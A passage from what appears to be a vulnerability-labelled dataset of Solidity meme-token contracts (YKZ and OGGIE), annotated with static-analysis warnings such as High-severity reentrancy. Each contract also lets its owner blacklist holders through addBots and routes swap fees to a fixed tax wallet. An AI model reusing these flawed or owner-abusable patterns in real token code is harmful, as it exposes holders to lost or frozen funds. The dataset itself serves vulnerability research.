}\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract YKZ is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d49a195): YKZ._taxWallet should be immutable \n\t// Recommendation for d49a195: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 99dee0b): YKZ._initialBuyTax should be constant \n\t// Recommendation for 99dee0b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: e70dfec): YKZ._initialSellTax should be constant \n\t// Recommendation for e70dfec: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7398cd2): YKZ._reduceBuyTaxAt should be constant \n\t// Recommendation for 7398cd2: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7322362): YKZ._reduceSellTaxAt should be constant \n\t// Recommendation for 7322362: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: d64b303): YKZ._preventSwapBefore should be constant \n\t// Recommendation for d64b303: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"YAKUZA INU\"; //\n\n string private constant _symbol = unicode\"$YKZ\"; //\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: abbab3f): YKZ._taxSwapThreshold should be constant \n\t// Recommendation for abbab3f: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9d00cd5): YKZ._maxTaxSwap should be constant \n\t// Recommendation for 9d00cd5: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x37F02800C4EbFB81C0990573565eFf5A7Cc27fc8);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8ec74fa): YKZ.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8ec74fa: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d059820): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d059820: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1802739): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1802739: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d059820\n\t\t// reentrancy-benign | ID: 1802739\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d059820\n\t\t// reentrancy-benign | ID: 1802739\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 17e1bc4): YKZ._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 17e1bc4: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 1802739\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d059820\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 57264fa): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 57264fa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9298d55): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9298d55: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 57264fa\n\t\t\t\t// reentrancy-eth | ID: 9298d55\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 57264fa\n\t\t\t\t\t// reentrancy-eth | ID: 9298d55\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 9298d55\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 9298d55\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9298d55\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 57264fa\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 9298d55\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 9298d55\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 57264fa\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d059820\n\t\t// reentrancy-events | ID: 57264fa\n\t\t// reentrancy-benign | ID: 1802739\n\t\t// reentrancy-eth | ID: 9298d55\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d059820\n\t\t// reentrancy-events | ID: 57264fa\n\t\t// reentrancy-eth | ID: 9298d55\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f2ea893): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f2ea893: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 09e1a7c): YKZ.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 09e1a7c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0a3fe41): YKZ.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 0a3fe41: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 716f5c7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 716f5c7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: f2ea893\n\t\t// reentrancy-eth | ID: 716f5c7\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: f2ea893\n\t\t// unused-return | ID: 09e1a7c\n\t\t// reentrancy-eth | ID: 716f5c7\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f2ea893\n\t\t// unused-return | ID: 0a3fe41\n\t\t// reentrancy-eth | ID: 716f5c7\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: f2ea893\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 716f5c7\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10597.sol",
"size_bytes": 19844,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract OGGIE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: dc83d40): OGGIE._taxWallet should be immutable \n\t// Recommendation for dc83d40: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 42aa022): OGGIE._initialBuyTax should be constant \n\t// Recommendation for 42aa022: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: 015d414): OGGIE._initialSellTax should be constant \n\t// Recommendation for 015d414: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 84c47cb): OGGIE._reduceBuyTaxAt should be constant \n\t// Recommendation for 84c47cb: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 28;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c7aca7): OGGIE._reduceSellTaxAt should be constant \n\t// Recommendation for 1c7aca7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 28;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6b91e39): OGGIE._preventSwapBefore should be constant \n\t// Recommendation for 6b91e39: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 28;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Oggie\";\n\n string private constant _symbol = unicode\"OGGIE\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7047b63): OGGIE._taxSwapThreshold should be constant \n\t// Recommendation for 7047b63: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1100000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9269357): OGGIE._maxTaxSwap should be constant \n\t// Recommendation for 9269357: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 11000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xA0D354059E36b3BE6d519AF910EdD5DD39DDAd0B);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9a01962): OGGIE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9a01962: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2c68da9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2c68da9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ee8dd6b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ee8dd6b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 2c68da9\n\t\t// reentrancy-benign | ID: ee8dd6b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 2c68da9\n\t\t// reentrancy-benign | ID: ee8dd6b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6ac52b9): OGGIE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6ac52b9: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ee8dd6b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 2c68da9\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5229cf5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5229cf5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d8a4452): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d8a4452: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 5229cf5\n\t\t\t\t// reentrancy-eth | ID: d8a4452\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 5229cf5\n\t\t\t\t\t// reentrancy-eth | ID: d8a4452\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: d8a4452\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: d8a4452\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: d8a4452\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 5229cf5\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: d8a4452\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: d8a4452\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 5229cf5\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2c68da9\n\t\t// reentrancy-events | ID: 5229cf5\n\t\t// reentrancy-benign | ID: ee8dd6b\n\t\t// reentrancy-eth | ID: d8a4452\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2c68da9\n\t\t// reentrancy-events | ID: 5229cf5\n\t\t// reentrancy-eth | ID: d8a4452\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 97d3aad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 97d3aad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fc1b11c): OGGIE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for fc1b11c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: df85897): OGGIE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for df85897: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b9a3c27): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b9a3c27: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 97d3aad\n\t\t// reentrancy-eth | ID: b9a3c27\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n 